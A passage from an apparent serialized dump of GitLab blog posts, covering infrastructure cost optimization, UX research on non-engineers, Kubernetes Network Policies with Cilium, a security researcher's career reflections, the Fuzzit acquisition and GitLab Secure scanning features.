emphasizes building awareness of our infrastructure spend to the point where any change in costs is well understood and no longer a surprise.\n\nOur framework is very similar to a normal data maturity framework (shown below) that would progress through descriptive, predictive, and finally prescriptive analytics, but we tailor it specifically for this domain. I'll explain each stage and what it looks like at GitLab so you can see how you might apply it to your own organization.\n\n![Normal Data Maturity Framework](https://about.gitlab.com/images/blogimages/2020-10-28-How-We-Optimized-Infra-spend/DMM.jpeg \"Normal Data Maturity Framework\"){: .medium.center}\nA normal data maturity framework \n{: .note.text-center}\n\n## Spend optimization framework\n\n## 1. Basic cost visibility\n This stage can be thought of as data exploration. You just want to understand as much as you can about where you are spending money at a high level. What vendors and services are you spending the most money on? This data is generally provided by cloud vendors through a billing console, as well as through billing exports. I've found the way to get the best use out of both options is to use the provided billing console for answering simple questions about specific costs quickly, and the exports for integrating this data into your own analytics architecture for more granular reporting, [multicloud](/topics/multicloud/) reporting, or for specific recurring reports you need over a longer time horizon.\n \n### GitLab example\nWhen starting out, we looked at Google Cloud Platform (GCP) and their [Default Billing Export](https://cloud.google.com/billing/docs/how-to/export-data-bigquery) to get an overview of which products/projects/SKUs were responsible for the majority of our spend.\n\n## 2. Cost allocation\nThis stage is all about going from high-level areas of spend to more granular dimensions that tie back to relevant business metrics in your company. At GitLab we may want to look at what we spend on particular services like CI runners, or what we spend to support employees using GitLab.com as part of their job vs. customer spend. This data may not be readily available to you so there could be a lot of work involved to tie these sorts of relevant business dimensions back to the cost reports provided by your vendor.\n\n### GitLab example\nFor our production architecture we had some [GCP labels](https://cloud.google.com/compute/docs/labeling-resources) that indicated the internal service applied to the majority of our instances, so we started with those to see which services we spent most of our money on. More recently, we have created a [handbook page for Infrastructure Standards](/handbook/infrastructure-standards/) around project creation and label naming so that we can get even more insight out of our bill.\n\n\n\n## 3. Optimize usage efficiency\nOnce you can allocate costs to their relevant business metrics, then can you start to ask interesting questions such as, “Why is our storage spend so high on feature x?” By asking these questions and then talking with the subject matter experts about these potential areas of optimization you can start to come up with ideas to reduce some of this cost.\n\n### GitLab example\nWhen we reached this stage we began to identify many areas of opportunity, including:\n\n- [CI runners](https://gitlab.com/gitlab-org/gitlab/-/issues/35777): One of the areas discovered from stage 2 happened to be our CI runners, for which we created more granular reporting to see the cost by specific repos, pipelines, and jobs, which allowed us to find some ways to optimize our own internal use of CI.\n- [Object storage](https://gitlab.com/gitlab-com/gl-infra/infrastructure/-/issues/10087): We discovered high storage costs for outdated Postgres backups. We resolved this by enabling bucket lifecycle policies and reduced our object storage for that bucket by 900TB.\n- [Network usage](https://gitlab.com/gitlab-com/gl-infra/infrastructure/-/issues/10222): By correlating a recent change in our spend profile to a network architecture change, we were able to highlight the need for additional changes. We ultimately implemented a change to directly download runner artifacts from GCS instead of having the traffic be proxied. This significantly reduced our overall networking cost.\n\n## 4. Measure business outcomes vs spend\n\nWhen you get to a point for a particular area where you feel like you have done all the basic optimizations and aren't sure where else you could reduce cost without seriously impacting your employees or customers, you have reached stage 4. This stage is all about analyzing the value of more complex changes that could reduce spend at the expense of something else, as well as considering the value and cost impact of major feature or architectural changes in the future.\n\n### GitLab example\nOur best example of this was our recent rollout of [advanced global search](https://docs.gitlab.com/ee/user/search/advanced_search.html) to all paid users on GitLab.com. In the first iterations of testing for this feature our costs were exceptionally high. Through a lot of hard work by the team responsible for the feature, they were able to significantly bring down the costs while improving functionality. Through those efforts, GitLab was able to bring this great feature to the platform in a way that also made sense from a business perspective.\n\n## 5. Predict future spend and problem areas\nOnce your company has matured the practices above, you can start to become proactive about observing cost. You can also begin to detect and alert when spend is outside expected thresholds. Once you get to this point, infrastructure optimization should become a boring topic, and when you no longer have any cases of huge unexpected cost increases that were not due to unexpected increases in customer demand, you know you are doing a great job.\n\n### GitLab example\n\nWe’re still working on this stage ourselves. While we’ve had some success in detecting unexpected spend, and even tying it to anomalous behavior in our platform, we recognize we have much more to do here. We are still working to get most of our usage to Stages 3-4, while spending parallel effort to reach Stage 5 for some more mature workloads.\n\n## Current state and next steps\nToday at GitLab, depending on the workload, we are anywhere between stages 1-4. The bulk of the work is going into getting everything to at least stage 2, and from there we can work on getting everything to stages 3-4. Current efforts include applying our newly created [infrastructure standards](/handbook/infrastructure-standards/) across all of our infrastructure, bringing in relevant product usage data from our various services, and giving PMs the tools they need to better manage the cost of their services through a single source of truth of base level cost metrics.\n\n## Workflow and planning\nCost optimization is a difficult topic to tackle effectively as it involves many different stakeholders across the business who all have their own priorities. The way we are taking this problem on at GitLab is we have an [issue board](https://gitlab.com/groups/gitlab-com/-/boards/1502173?label_name[]=infrafin) where we plan and track progress on issues related to infrastructure spend. For all the major initiatives we assign priority to these based on four factors:\n\n1.  Cost savings\n2.  Customer impact  \n3.  Future potential cost impact\n4.  Effort required\n  \nThese factors are discussed and reviewed by our analyst, our SaaS offering product manager, and the relevant subject matter expert for the area. Once the priority is agreed upon, the product manager works with various product teams to get these scheduled into milestones or backlog queues for the teams that need to implement the changes. Progress is tracked on the issue board, and reviewed for priority to ensure the solution moves forward at an appropriate velocity.\n\n## More to read\n\nAll of this info and more can be found in our [Cost Management Handbook](/handbook/engineering/infrastructure/cost-management/). We continue to improve this page to provide our own employees with the resources they need to understand this topic better, as well as providing external viewers some idea of how they could think about infrastructure optimization in their own company.\n\nYou might also enjoy:\n* [What we learned after a year of GitLab.com on Kubernetes](/blog/year-of-kubernetes/)\n* [How we migrated application servers from Unicorn to Puma](/blog/migrating-to-puma-on-gitlab/)\n* [How we upgraded PostgreSQL at GitLab.com](/blog/gitlab-pg-upgrade/)\n\nCover image by [Fabian Blank](https://unsplash.com/@blankerwahnsinn?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText) on [Unsplash](https://unsplash.com)\n{: .note}\n",[923,676,2368,3949],{"slug":21106,"featured":6,"template":678},"how-we-optimized-our-infrastructure-spend-at-gitlab","content:en-us:blog:how-we-optimized-our-infrastructure-spend-at-gitlab.yml","How We Optimized Our Infrastructure Spend At Gitlab","en-us/blog/how-we-optimized-our-infrastructure-spend-at-gitlab.yml","en-us/blog/how-we-optimized-our-infrastructure-spend-at-gitlab",{"_path":21112,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":21113,"content":21118,"config":21124,"_id":21126,"_type":16,"title":21127,"_source":17,"_file":21128,"_stem":21129,"_extension":20},"/en-us/blog/how-non-engineers-experience-gitlab",{"title":21114,"description":21115,"ogTitle":21114,"ogDescription":21115,"noIndex":6,"ogImage":18477,"ogUrl":21116,"ogSiteName":1180,"ogType":1181,"canonicalUrls":21116,"schema":21117},"Uncovering the diverse needs of non-engineering GitLab users","This post describes how the System Usability Scale (SUS) uncovered opportunities to improve the GitLab user experience for non-engineering users.","https://about.gitlab.com/blog/how-non-engineers-experience-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Uncovering the diverse needs of non-engineering GitLab users\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Erica Huang\"}],\n        \"datePublished\": \"2020-10-26\",\n      }",{"title":21114,"description":21115,"authors":21119,"heroImage":18477,"date":21121,"body":21122,"category":18484,"tags":21123},[21120],"Erica Huang","2020-10-26","\n\n{::options parse_block_html=\"true\" /}\n\n\n\nI discovered UX research when I was looking for my next opportunity early this year as a researcher. The field's initial impression intrigued me, so I spent the following weeks learning from online courses, books, and other UX researchers. I started networking and asking for informational interviews. One particular conversation with [Katherine Okpara](https://gitlab.com/katokpara), UX Researcher at GitLab, led to a capstone project. We discussed the System Usability Scale (SUS) survey that is run quarterly at GitLab and uncovered an opportunity to better the user experiences for GitLab users in non-engineering roles.\n\n### Understanding the problem\nAfter taking a closer look at the trends and themes from the survey data, I learned that many non-engineer GitLab users are having difficulties working in GitLab. Most feedback came from users in product management, product design, academic research, and executive leadership.\n\nBased on the SUS feedback, I hypothesized that non-engineer GitLab users take longer to learn how to use the tools in GitLab. They may be overwhelmed by the many features of GitLab and have less experience with competitor tools.\n\n> With all the Auto- and advanced DevOps features creeping in constantly, it becomes harder to use Gitlab as a simple git repository system with issues/MR/wiki/simple CI for small non-DevOps teams…\n\nMany engineers expressed their frustrations with persuading or teaching their non-engineer colleagues to use GitLab.\n\n> I've been using GitLab for more than four years, so it's obvious and intuitive to me, but I am finding coworkers new to GitLab are increasingly unable to figure out some of the features on their own. As a specific example, we had someone propose to use a different code review tool, but when I showed them how to do a side-by-side diff and view the file tree, they were OK with it. These features are obvious to me as I've watched them get added over time, but I think the cues for them may be too subtle to new users.\n\nAfter considering these challenges, I believed that non-engineer users would benefit from a tailored onboarding experience.\n\n### Defining goals and objectives\n\nThrough this project, my goal was to understand these users' needs and pain points and identify ways to improve their user experience with GitLab, especially during the onboarding process. I set out to answer these questions:\n- What are the areas of GitLab particularly challenging for non-engineer users?\n- How long does it currently take non-engineer users to get comfortable with GitLab?\n- What do users need to learn during onboarding to use GitLab more easily?\n\n### Conducting interviews with GitLab users\nTo get a deeper understanding of the user experiences, I wanted to interview diverse groups of roles and get as many sides of the story possible. I started close to home and spoke with GitLab employees who use GitLab every day for work.\nFrom this set of interviews, I learned that:\n- The majority of the participants expressed frustration with using the Search function.\n- The majority of the participants utilized other tools such as Figma and Google Docs to complete their work.\n\nThe next step was to conduct interviews with external GitLab users to ensure that I was forming a balanced perspective. I recruited participants by sending a screener to the GitLab First Look research panel and experimented with recruiting outside sources such as Reddit and LinkedIn.\n- All of the participants proposed the need for a better workflow\n- Some participants would like a more robust approval system that easily tracks the project and its members.\n\n### Leveraging secondary research\nDue to recruiting constraints, I could not interview as many external users as needed to gain a full picture of their experiences. To conclude everything I learned so far, I decided to look into data from previous GitLab research projects and analyze findings according to the themes observed in each set of data.\nFrom this secondary research, I learned that needs of non-engineer GitLab users were diverse depending on their specific roles:\n- Many researchers expressed that they want the ability to reorganize and customize their GitLab UI.\n- Executives said that the page layouts and overall structure are too complex and affect how they navigate the site.\n- Many product managers expressed that GitLab features are inefficient and incomplete for task management and tracking.\n- Many non-engineer GitLab users want a documentation feature separate from Wiki.\n\n### Synthesizing findings from interview and survey data\nOverall, many non-engineer GitLab users suggested improved onboarding and better help documentation to help them get used to new features. These users are overwhelmed by GitLab features and want to customize the feature menu they see.\n\nI also saw a trend of users having trouble finding what they need from using the search function. Additionally, these users are more likely to supplement missing features with other services (i.e., Jira, Trello, Google Docs, MURAL, Figma).\n\n### What's next?\nI now have a better idea of the challenges and needs of diverse groups of people who use GitLab. To invest in critical areas that would improve the GitLab experience for non-engineers, I recommend the following next steps:\n- Stakeholder Interviews: Present findings to the stakeholder and get their perspectives. Understand whether the research insights are consistent with business needs and outline potential deliverables.\n- Usability Test: Learn about the users' behaviors in action. How are non-engineering users navigating between features? Where do they experience challenges, and where do they experience delight?\n- A/B Testing: Compare the current UI design to a design iteration that results from the findings.\n\n### What I learned\nUnfortunately, research projects don't always go as planned, so researchers will need to be adaptable. Adequate documentation will allow researchers to revisit past projects to collect secondary research for instances like these. It will also make it easier for stakeholders to access research projects without going through researchers each time.\n\n### About the guest author\nErica's background is in academic research and psychology. Her curiosity about human behavior and emotions steered her in the direction of research. Her favorite ways of learning are through her own experience and from listening to other people's stories.\n",[2249,1307],{"slug":21125,"featured":6,"template":678},"how-non-engineers-experience-gitlab","content:en-us:blog:how-non-engineers-experience-gitlab.yml","How Non Engineers Experience Gitlab","en-us/blog/how-non-engineers-experience-gitlab.yml","en-us/blog/how-non-engineers-experience-gitlab",{"_path":21131,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":21132,"content":21138,"config":21143,"_id":21145,"_type":16,"title":21146,"_source":17,"_file":21147,"_stem":21148,"_extension":20},"/en-us/blog/container-network-security-is-important",{"title":21133,"description":21134,"ogTitle":21133,"ogDescription":21134,"noIndex":6,"ogImage":21135,"ogUrl":21136,"ogSiteName":1180,"ogType":1181,"canonicalUrls":21136,"schema":21137},"How to secure your Kubernetes pods using GitLab Container Network Security","We help you get started with securing your Kubernetes cluster using Cilium, a GitLab-managed application.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681687/Blog/Hero%20Images/diane-helentjaris-TYk0YQbog9g-unsplash.jpg","https://about.gitlab.com/blog/container-network-security-is-important","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to secure your Kubernetes pods using GitLab Container Network Security\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Fernando Diaz\"}],\n        \"datePublished\": \"2020-10-23\",\n      }",{"title":21133,"description":21134,"authors":21139,"heroImage":21135,"date":21140,"body":21141,"category":674,"tags":21142},[1622],"2020-10-23","\n\n{::options parse_block_html=\"true\" /}\n\nKubernetes does not come secure out of the box. There is a lot of configuration needed\nto achieve a secure cluster. One important security configuration to consider is how pods\ncommunicate with each other. This is where Network Policies come into play, making sure that\nyour pods are not exchanging data with unknown or malicious sources, which can compromise\nyour cluster.\n\n[Network Policies](https://kubernetes.io/docs/concepts/services-networking/network-policies/) are rules on how pods can communicate\nwith other pods as well as endpoints. They are pretty much a firewall for your internal cluster network.\n\nGitLab provides Container Network Security using [Cilium](https://cilium.io/) as a [GitLab-managed application](https://docs.gitlab.com/ee/user/clusters/applications.html#install-cilium-using-gitlab-cicd).\nCilium is a CNI [network plugin](https://kubernetes.io/docs/concepts/extend-kubernetes/compute-storage-net/network-plugins/) for Kubernetes that can be used to implement support for Network Policies.\n\nThe video below provides an introduction on how to easily implement Network Policies from GitLab,\nas well as a demo on testing Network Policies:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube-nocookie.com/embed/45Q__T42ZMA\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## Network Policies in action\n\nThere are many different ways of configuring Network Policies within your Kubernetes cluster. You can configure\nthe `ingress from` as well as the `egress to` traffic. There are four kinds of selectors\nwhich can be used to configure traffic between pods:\n\n- podSelector: Selects provided pods in the same namespace\n- namespaceSelector: Selects all pods on given namespace\n- podSelector & namespaceSelector: Selects provided pods in given namespace\n- ipBlock: Blocks external [IP CIDR](https://en.wikipedia.org/wiki/Classless_Inter-Domain_Routing) ranges provided\n\nMore information on the behavior of \"to\" and \"from\" selectors can be found in the [Kubernetes documentation](https://kubernetes.io/docs/concepts/services-networking/network-policies/#behavior-of-to-and-from-selectors).\n\nBelow is an example of a Network Policy that only allows ingress traffic\nto pod with label `app: \"notes\"` from pods with label `access: \"true\"`.\n\n```yaml\napiVersion: networking.k8s.io/v1\nkind: NetworkPolicy\nmetadata:\n  name: access-notes\nspec:\n  podSelector:\n    matchLabels:\n      app: \"notes\"\n  ingress:\n  - from:\n    - podSelector:\n        matchLabels:\n          access: \"true\"\n```\n\n## Installing Cilium as a GitLab-managed application\n\nCilium is provided by GitLab as a managed application, meaning\nthat GitLab installs and upgrades Cilium for you. There is no need\nto worry about how to get Cilium up and running. Cilium as well as your Network\nPolicies can be configured as needed.\n\nIn order to install and configure Cilium as a GitLab managed application, you can follow the steps provided in\nthe [GitLab cluster applications documentation](https://docs.gitlab.com/ee/user/clusters/applications.html#install-cilium-using-gitlab-cicd).\nThis sample project [Simply Simple Notes](https://gitlab.com/gitlab-examples/security/simply-simple-notes), is configured to use Cilium. It will install Cilium on the Kubernetes cluster associated with the project.\n\n[This guide](https://kubernetes.io/docs/tasks/administer-cluster/declare-network-policy/) can be used to test your Network Policies once Cilium has been installed.\n\n## Threat monitoring dashboard\n\nBy default Cilium installs with Hubble, a monitoring daemon which collects packet flow metrics per namespace. These\nmetrics are sent to the GitLab [Threat Monitoring dashboard](https://docs.gitlab.com/ee/user/application_security/threat_monitoring/).\n\n![threat monitoring packet metrics](https://about.gitlab.com/images/blogimages/container-network-security/packet-metrics.png)\nPacket Metrics displayed in the Threat Management dashboard\n{: .note.text-center}\n\nThe packet flow metrics collected are:\n- The total number of inbound and outbound packets for the given time period\n- The proportion of packets dropped according to the configured policies\n- The average rate per-second of forwarded and dropped packets for the requested time interval\n\nWithin the Threat Monitoring dashboard, you can also view and configure the Network Policies in your project. This makes it easy to navigate\nyour container network configuration in one interface.\n\n![threat monitoring Network Policies](https://about.gitlab.com/images/blogimages/container-network-security/network-policy.png)\nNetwork Policies displayed in the Threat Management dashboard\n{: .note.text-center}\n\nNetwork Policies can also be created and edited through an intuitive UI. You can just select the network rules you wish to use and the YAML will be automatically created and applied to your cluster. This eliminates the need to edit the complicated YAML structure for Network Policies directly, and allows you to make sure the correct rules are being applied without confusion.\n\nNetwork Rules can be created using the following rule types:\n- Labels\n- Entities\n- IP/CIDR\n- DNS\n- Level 4\n\n![threat monitoring policy creation](https://about.gitlab.com/images/blogimages/container-network-security/policy-creation.png)\nPolicy being created in the Threat Management dashboard\n{: .note.text-center}\n\n## Learn more about GitLab Security\n\nI hope this blog can help get you started with Network Policies in Kubernetes. Check out some other\nways GitLab can help with security.\n\n- [How application security engineers can use GitLab to secure their projects](/blog/secure-stage-for-appsec/)\n- [How to capitalize on GitLab Security tools with external CI](https://docs.gitlab.com/ee/integration/jenkins.html)\n- [What you need to know about Kubernetes RBAC](/blog/understanding-kubernestes-rbac/)\n\nCover image by [Diane Helentjaris](https://unsplash.com/@dhelentjaris) on [Unsplash](https://unsplash.com/photos/TYk0YQbog9g)\n{: .note}\n",[674,7715,2509,1899,942],{"slug":21144,"featured":6,"template":678},"container-network-security-is-important","content:en-us:blog:container-network-security-is-important.yml","Container Network Security Is Important","en-us/blog/container-network-security-is-important.yml","en-us/blog/container-network-security-is-important",{"_path":21150,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":21151,"content":21157,"config":21161,"_id":21163,"_type":16,"title":21164,"_source":17,"_file":21165,"_stem":21166,"_extension":20},"/en-us/blog/switching-sides-in-security",{"title":21152,"description":21153,"ogTitle":21152,"ogDescription":21153,"noIndex":6,"ogImage":21154,"ogUrl":21155,"ogSiteName":1180,"ogType":1181,"canonicalUrls":21155,"schema":21156},"Switching “sides” in security","How does product security work differ from pen testing and hacking all the things?","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749679594/Blog/Hero%20Images/jason-polychronopulos-unsplash.jpg","https://about.gitlab.com/blog/switching-sides-in-security","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Switching “sides” in security\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Joern Schneeweisz\"}],\n        \"datePublished\": \"2020-10-23\",\n      }",{"title":21152,"description":21153,"authors":21158,"heroImage":21154,"date":21140,"body":21159,"category":18484,"tags":21160},[11242],"\n \n{::options parse_block_html=\"true\" /}\n \n\n \n \n \n\nThe beginning of this month marked my first year working at GitLab. Before joining the GitLab team, I'd been doing security consulting and penetration testing for my entire career. I didn’t change jobs much until last year ... actually I haven't at all. I'd been happily hacking all the things over at [Recurity Labs](https://recurity-labs.com) since 2007.\n\nI would like to use my first anniversary here at GitLab to compare both sides, namely penetration testing and security consulting versus the product security side of security. Nowadays, I’m working on the [Security Research team](/handbook/security/#security-research) here at GitLab. A lot of my work is closely interwoven with the [Application Security](/topics/devsecops/) team: reviewing features and merge requests, and responding to pings asking for security advice. It appears a bit like in-house security consulting, but in reality, the work is much broader in general and I’ll outline the main differences here in this post.\n\n## Distractions\n\nI was a bit baffled when I was asked, ‘How do you keep state? How do you take notes about your projects?’ in the very first run of the Source Code Audit Training I delivered as a security consultant to some in-house security team. About a decade into the job at that point, I'd never thought about the massive distractions one might have being part of a product security team. It was a simple question: the team was wondering about my note keeping techniques. At this point I didn't have any good answer. I didn't have an external process to keep track of my projects. Why? Because I had the luxury of executing one project at a time; only one thing to hack, only one thing to focus on deeply for a week or two. I could just rely on my memory because I barely needed to context-switch. When the project was over, I dumped my findings into a report and was ready to move on to the next project. \n \nIn my current role, I’ve since adapted to the huge amount of context switching one needs to do in the day-to-day work. Though, I still need to find the perfect note taking solution for myself (if you have any cool pointers, just leave a comment with this post). And generally, having a greater variety of tasks and obligations during a week of work is something refreshing, at least for me. It allows me to switch topics in the event I’m stuck on something. Later on, I can switch back with a fresh mindset ready to tackle the problem, possibly with a new perspective.\n\n## Thinking broad vs. deep\n\nI was used to thinking very deeply when performing code reviews. And, during a pentest, you can dig really, really deep into the application you're assessing (please stay in scope though ;D). \n \nHowever, in product security you are delivered the output of that deep thought process. Often the job of the in-house application security engineers is to communicate security impact and consequences to engineering and product management teams; effectively switching from thinking deep to thinking broad. \n \nWhen I was writing assessment reports on the consulting side, I expected a certain, rather high level of security expertise on the receiving end. Now, on the product security side, the information shared has to be communicated to development and product management counterparts in a readily understandable manner. Suddenly, things need to be taken into consideration, which an external security consultant (luckily :sweat_smile: ) doesn't have to think about. This might be, for instance, product decisions or other non-technical aspects. This intersection of product security engineers and external pentesters is where friction can emerge. One side might disrespect or poke fun at the other side, due simply to the lack of some context or information the counterpart has. That being said: the \"other\" side typically isn't \"ignorant\" or less skilled, they just have another level of focus (deeper or broader, perhaps) and, most importantly, different priorities. \n \nBeing able to take-on the perspective of someone else is a great skill to have in almost any situation in life. That’s just a general take away. This being said, though, I’m not accusing any pentester of not possessing this skill -- it’s merely that they’re not expected to have this in the context of a pentest. Rather, it’s the deep level of technical abilities they’re hired for.  For me, the change was quite beneficial. The variety of tech stacks is lower here at GitLab; for instance, I don’t think I’ll see too much PHP or Java code to audit, but the broadened view beyond the horizon of technical questions was a trade worth making for me.\n\n## We're in the same boat\n\nBe it a security consultant doing a code review or an in-house application security engineer triaging and validating bug bounty submissions: they're on the same side. Ultimately, everyone wants to improve the security posture of whatever they're in charge of. For a pentester this \"thing they’re in charge of\" changes with every project they take. For in-house application security teams it's roughly the same product the whole time. While the goal is common, it is the work and the environment that can differ a lot. I personally am happy to have made the step to \"the other side\", working in product security now. It has given me the opportunity to approach security issues from new and, at least for me, unusual angles.\n\nPhoto by [Jason Polychronopulos](https://unsplash.com/@jpoly) from [Unsplash](https://www.unsplash.com).\n{: .note}\n",[674,2952,676],{"slug":21162,"featured":6,"template":678},"switching-sides-in-security","content:en-us:blog:switching-sides-in-security.yml","Switching Sides In Security","en-us/blog/switching-sides-in-security.yml","en-us/blog/switching-sides-in-security",{"_path":21168,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":21169,"content":21174,"config":21179,"_id":21181,"_type":16,"title":21182,"_source":17,"_file":21183,"_stem":21184,"_extension":20},"/en-us/blog/fuzzit-acquisition-journey",{"title":21170,"description":21171,"ogTitle":21170,"ogDescription":21171,"noIndex":6,"ogImage":18477,"ogUrl":21172,"ogSiteName":1180,"ogType":1181,"canonicalUrls":21172,"schema":21173},"Fuzzit - GitLab journey","From a bootstrap startup to integral part of GitLab.","https://about.gitlab.com/blog/fuzzit-acquisition-journey","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Fuzzit - GitLab journey\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Yevgeny Pats\"}],\n        \"datePublished\": \"2020-10-22\",\n      }",{"title":21170,"description":21171,"authors":21175,"heroImage":18477,"date":21176,"body":21177,"category":18484,"tags":21178},[20470],"2020-10-22","\n\n{::options parse_block_html=\"true\" /}\n\n\n\n## Fuzzit Story\n\nFuzzit started in early 2019 by myself as a spin-off project from my consulting company.\nThe consulting revenue gave me the opportunity to dedicate time and explore the fuzzing-as-a-service idea a bit more without taking VC money too early and becoming “locked-in”.\n\nAfter about 6 months, Fuzzit started gaining traction and becoming a leader in the open-source community.\nBeing the first commercial product to offer languages such as: Go, Rust and more, while at the time OSS-Fuzz only supported C/C++ and wasn’t available for all oss projects. \n\nAfter about 8 months once the product matured thanks to input from the open-source users,\nwe went exploring the enterprise market more deeply. We developed that in 3 main directions: \n\n- Enterprise clients interviews and PoCs,\n- Partnerships with various CI providers to expand the reach.\n- Enterprise focused VCs\n\nIn that process we were lucky to meet with GitLab,\nwhere after a few calls it became apparent this could be a great fit for both sides to pursue  an acquisition (I’ll expand on that later on here).\n\nAt that point in time, we had to decide if we were either moving forward with an acquisition or going to raise funding to try and build a large business.\nIn our process of exploring the fuzzing enterprise market,\nwe understood that if we want to build a big DevSecOps company we would need to expand the offering far beyond continuous coverage-fuzzing.\nThis is of-course possible but will create even more fragmentation in the already fragmented market,\nand will require a substantial amount of financial investment.\nThe opportunity to join a unique place like GitLab for me personally and the amazing technological fit \nfor Fuzzit to be supported natively in a complete [DevSecOps platform](/solutions/security-compliance/), made the decision easy for me. \n\n## Acquisition process\n\nBeing part of a few acquisitions (some successful and some not)\nI can say first hand that the acquisition process is always a complex one,\nwhere only few acquisitions close in the end and many fall in various stages of the process.\nThe acquisition process was very transparent and efficient, as documented in the [handbook](https://about.gitlab.com/handbook/acquisitions/).\n\nCompletely by chance the head of corp dev, Eliran Mesika, is an Israeli which made things very easy for me personally as I could speak and negotiate in my mother tongue.\nGitLab grew in the last two years to over 1200 people, doubling the team, so understanding the structure and driving the process are not easy feats.\nThe process was very transparent even with some unexpected delays/bumps on the way.\n\nDuring the acquisition process I had the chance to meet quite a few people from the Secure team\nwhere we discussed the technology, how the integration will look like and make sure it’s a good fit for everyone both in terms of technology and culture.\nAfter term-sheet was signed, it was mainly legal-work and once that was complete I joined GitLab!\n\n## Joining GitLab\n\nMy vision at Fuzzit was to advance continuous coverage-guided fuzzing adoption to make software more secure.\nI’m only 5 months in but I feel that this vision fits perfectly at GitLab with its shift-left strategy and single DevSecOps application.\nI believe native support for continuous coverage-guided fuzzing in GitLab will lower the barrier to entry for developers, increase adoption and will make software more secure.\nI still have a lot of work and learning to do at Gitlab to achieve the above but so far we have made great progress.\n. It has been an awesome experience for me and hopefully for everyone else here who was involved!\n\nYou can checkout the current state and documentation of coverage-guided fuzzing in GitLab [here](https://docs.gitlab.com/ee/user/application_security/coverage_fuzzing)\n\n## Future\n\nStay tuned for future fuzzing features and blogs!\n",[676,674,10921],{"slug":21180,"featured":6,"template":678},"fuzzit-acquisition-journey","content:en-us:blog:fuzzit-acquisition-journey.yml","Fuzzit Acquisition Journey","en-us/blog/fuzzit-acquisition-journey.yml","en-us/blog/fuzzit-acquisition-journey",{"_path":21186,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":21187,"content":21192,"config":21196,"_id":21198,"_type":16,"title":21199,"_source":17,"_file":21200,"_stem":21201,"_extension":20},"/en-us/blog/integrating-with-gitlab-secure",{"title":21188,"description":21189,"ogTitle":21188,"ogDescription":21189,"noIndex":6,"ogImage":12455,"ogUrl":21190,"ogSiteName":1180,"ogType":1181,"canonicalUrls":21190,"schema":21191},"How open source contributions accelerate GitLab Secure","Community contributions and an open integration framework allows anyone to extend GitLab Secure","https://about.gitlab.com/blog/integrating-with-gitlab-secure","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How open source contributions accelerate GitLab Secure\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Taylor McCaslin\"}],\n        \"datePublished\": \"2020-10-22\",\n      }",{"title":21188,"description":21189,"authors":21193,"heroImage":12455,"date":21176,"body":21194,"category":813,"tags":21195},[6860],"\nWhen you think about security you probably imagine locks, gates, and closed systems. This is the more traditional approach to security but modern security is much more open and collaborative. If you want to build the most secure systems, there is nothing better than building those systems in the open. Open security practices allow you to get fast feedback from a broad audience with diverse perspectives, helping you build better more holistic solutions. That's our approach to building [GitLab Secure](/stages-devops-lifecycle/secure/) at GitLab. We're leveraging amazing open source security projects, the collective contribution of the wider community, and providing an open integration system for anyone to build on top of GitLab security scanners.\n\n## Shifting left\n\nTraditional security approaches are opaque and late in the development life cycle. Security scans are performed by isolated security experts long after developers write code, often after it's deployed to production. GitLab aims to make security an integrated and continuous process. That's why we've built [GitLab Secure directly integrated into the DevOps life cycle](/solutions/security-compliance/). We are taking security tools and \"shifting left\" to make these tools more accessible to developers earlier in the development life cycle and integrated directly into developers' workflows.\n\n![Traditional Security vs DevSecOps with GitLab](https://about.gitlab.com/images/blogimages/traditional-security-vs-integrated.png)\n\nWe created a detailed survey to learn more about the [2020 DevSecOps Landscape](/developer-survey/#security). The results of the survey indicated that security is still a significant hurdle for most organizations that use DevOps, and show:\n\n- Only 13% of companies give developers access to the results of [application security](/topics/devsecops/) tests\n- Over 42% said testing happens too late in the lifecycle\n- 36% reported it was hard to understand, process, and fix any discovered vulnerabilities\n- 31% found prioritizing vulnerability remediation an uphill battle\n\nThese statistics illustrate why we are building security scanning directly into GitLab with our Secure features. We want to provide integrated security tools to broaden access and make it easier for everyone using GitLab to write more secure code.\n\n## Integrating security tools into everyday workflows\n\nGitLab Secure enables accurate, automated, and continuous assessment of your applications and services, allowing users to proactively identify vulnerabilities and weaknesses to minimize security risk. Secure is not an additional step in your development process nor an additional tool to introduce to your software stack. It is woven into your DevOps cycle, which allows you to adapt security testing and processes to your developers (and not the other way around).\n\nToday [GitLab Secure](/stages-devops-lifecycle/secure/) offers support for a variety of security scanning tools including:\n- [Static Application Security Testing (SAST)](https://docs.gitlab.com/ee/user/application_security/sast/)\n- [Dynamic Application Security Testing (DAST)](https://docs.gitlab.com/ee/user/application_security/dast/)\n- [Container Scanning](https://docs.gitlab.com/ee/user/application_security/container_scanning/)\n- [Dependency Scanning](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/)\n- [License Scanning](https://docs.gitlab.com/ee/user/compliance/license_compliance/index.html)\n- [Secret Detection](https://docs.gitlab.com/ee/user/application_security/secret_detection/)\n- [API Fuzzing](https://docs.gitlab.com/ee/user/application_security/api_fuzzing/)\n- [Coverage Fuzzing](https://docs.gitlab.com/ee/user/application_security/coverage_fuzzing/)\n\nAll of these tools provide unique approaches to finding security problems. No one tool is best at everything, so we wanted to provide a way to leverage many tools in an integrated way, so you're always 